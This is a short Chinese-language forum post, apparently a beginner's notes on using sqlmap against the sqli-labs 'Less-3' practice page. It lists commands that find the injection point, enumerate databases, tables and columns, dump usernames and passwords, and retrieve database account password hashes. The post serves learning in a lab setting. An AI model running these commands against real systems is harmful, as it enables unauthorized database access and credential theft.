小白路过，大佬勿喷！！！

--batch可以不用交互默认进行

检测注入点

sqlmap.py -u http://10.240.4.213/sql/Less-3/?id=1

查看所有数据库

sqlmap.py -u http://10.240.4.213/sql/Less-3/?id=1 --dbs

查看当前数据库

sqlmap.py -u http://10.240.4.213/sql/Less-3/?id=1 --current-db --batch

列出数据库中的表

sqlmap.py -u http://10.240.4.213/sql/Less-3/?id=1 -D security --tables --batch

-D 指定数据库名

--tables 列出表

列出表中字段

sqlmap.py -u http://10.240.4.213/sql/Less-3/?id=1 -D security -T users --columns --batch

sqlmap.py -u http://10.240.4.213/sql/Less-3/?id=1 -D security -T users -C "username,password" --dump --batch

-C 指定的字段

--dump 将结果导出

当前数据库使用账户

sqlmap.py -u http://10.240.4.213/sql/Less-3/?id=1 --current-user --batch

列出数据库所有用户

sqlmap.py -u http://10.240.4.213/sql/Less-3/?id=1 --users --batch

获取数据库账户密码

sqlmap.py -u http://10.240.4.213/sql/Less-3/?id=1 --passwords --batch

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！